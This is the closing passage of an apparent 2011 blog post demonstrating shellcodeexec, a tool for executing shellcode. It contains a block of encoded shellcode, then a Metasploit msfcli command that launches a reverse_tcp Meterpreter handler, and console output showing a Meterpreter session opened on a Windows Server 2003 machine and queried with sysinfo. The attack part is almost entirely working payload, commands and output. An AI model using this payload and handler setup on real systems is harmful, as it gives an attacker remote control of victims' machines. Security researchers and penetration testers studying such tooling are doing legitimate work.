SGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeRpV
0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7E8N
yI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKON5L
KP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC1Ks
VIO6OuZVCEXlISAA

If you head back to the terminal where the multi/handler is running you will happily see:

$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUhread LPORT=4444 LHOST=192.168.136.1 E

[*] Please wait while we load the module tree...

[...]

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]

+ -- --=[ 673 exploits - 354 auxiliary

+ -- --=[ 217 payloads - 27 encoders - 8 nops

=[ svn r12306 updated 7 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp

EXITFUNC => thread

LPORT => 4444

LHOST => 192.168.136.1

[*] Started reverse handler on 192.168.136.1:4444

[*] Starting the payload handler...

[*] Sending stage (749056 bytes) to 192.168.136.129

[*] Meterpreter session 1 opened (192.168.136.1:4444 -> 192.168.136.129:1581) at Thu Apr 14 15:30:15 +0100 2011

meterpreter > sysinfo

System Language : en_US

OS : Windows .NET Server (Build 3790, Service Pack 2).

Computer : W2K3R2

Architecture : x86

Meterpreter : x86/win32

The tool along with compilation files for POSIX and Windows systems can be found on my GitHub at https://github.com/inquisb/shellcodeexec.
Thanks for reading